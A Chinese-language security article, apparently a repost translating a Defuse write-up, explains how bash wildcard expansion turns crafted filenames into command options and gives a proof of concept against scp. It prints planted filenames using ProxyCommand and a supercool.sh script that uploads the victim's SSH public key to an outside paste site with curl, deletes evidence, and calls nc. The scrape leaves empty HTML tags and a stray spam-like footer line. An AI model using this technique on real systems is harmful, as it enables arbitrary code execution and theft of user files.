<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/papers/2448

                    from:https://dicesoft.net/projects/wildcard-code-execution-exploit.htm

                    0x00 通配符


                    當你在一個bash命令行中輸入“*”時,bash會擴展到當前目錄的所有文件,然后將他們全部作為參數傳遞給程序。例如:rm *,將會刪除掉當前目錄的所有文件。

                    0x01 文件名被當做參數


                    大多數的命令行程序受此影響。例如ls命令,當不適用任何參數時,輸出是這個樣子的:

                    #!bash
                    [[email protected] foo]$ ls
                    asdf.txt  foobar  -l
                    

                    如果你想要知道這些文件所屬的組和用戶,你可以通過”-l"參數來查看:

                    #!bash
                    [[email protected] foo]$ ls -l
                    total 0
                    -rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 asdf.txt
                    -rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 foobar
                    -rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 -l
                    

                    注意,有一個名字是“-l”的文件,我們試試“ls *”會發生什么。

                    #!bash
                    [[email protected] foo]$ ls *
                    -rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 asdf.txt
                    -rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 foobar
                    

                    與之前不同的是"ls *” 沒有輸出-l文件,-l文件被當做了此命令的參數。

                    此條命令相當于運行:

                    #!bash
                    [[email protected] foo]$ ls asdf.txt foobar -l
                    -rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 asdf.txt
                    -rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 foobar  
                    

                    0x02 安全問題


                    此問題可能導致一些安全問題,當有人參數當中帶有一個通配符,又沒有事先檢查目錄下的文件名稱。這可能被用來攻擊別人電腦。

                    這個問題是眾所周知的,在http://seclists.org/fulldisclosure/2011/Sep/190已經有關于此問題的討論。

                    0x03 Proof of Concept Exploit


                    為了證明這個問題可以轉化為一個任意代碼執行攻擊,我們嘗試攻擊“scp”命令,scp命令提供了-o選項,配置ssh,SSh有涉及運行命令的選項,我們可以利用這一點,讓我們的腳本運行。

                    假設我們有一個目錄的控制權限,在該目錄下受害者將運行以下命令(想象一下,用戶只下載一個web應用程序的源代碼,并上傳到他們的網絡服務器上):

                    #!bash
                    $ scp * [email protected]:/var/www/
                    

                    為了利用這個命令,在目錄下我們需要放幾個文件:

                    "-o" - SCP 將會把這個文件當做 "-o” 參數。
                    "ProxyCommand sh supercool.sh %h %p" - SCP 將會把這個文件當做 "-o" 的一個參數。
                    "supercool.sh" - 這個腳本將會被執行。
                    "zzz.txt" - 沒有任何用處的測試文件。
                    

                    在supercool.sh文件里,有一些惡意的命令:

                    #!bash
                    #!/bin/sh
                    
                    # Upload their SSH public key to the Internet, and put a scary message in /tmp/.
                    echo "By @DefuseSec and @redragonx..." > /tmp/you-have-been-hacked.txt
                    echo "This could have been your private key..." >> /tmp/you-have-been-hacked.txt
                    curl -s -d "jscrypt=no" -d "lifetime=864000"                                \
                            -d "shorturl=yes" --data-urlencode "paste@$HOME/.ssh/id_rsa.pub"    \
                            https://defuse.ca/bin/add.php -D - |                                \
                            grep Location | cut -d " " -f 2 >> /tmp/you-have-been-hacked.txt
                    
                    # Delete evidence of our attack.
                    rm ./-o ProxyCommand\ sh\ supercool.sh\ %h\ %p 
                    echo > ./supercool.sh
                    
                    # Do what ProxyCommand is supposed to do.
                    nc -p 22332 -w 5 $1 $2
                    

                    當受害者執行命令時:

                    #!bash
                    $ scp * [email protected]:/var/www/
                    supercool.sh
                    zzz.txt
                    

                    當他檢查自己的/tmp目錄下的時候將會看到:

                    #!bash
                    $ cat /tmp/you-have-been-hacked.txt
                    By @DefuseSec and @redragonx...
                    This could have been your private key...
                    https://defuse.ca/b/QQ3nxADu 
                    

                    可以在這里下載完整的poc文件:poc.zip

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频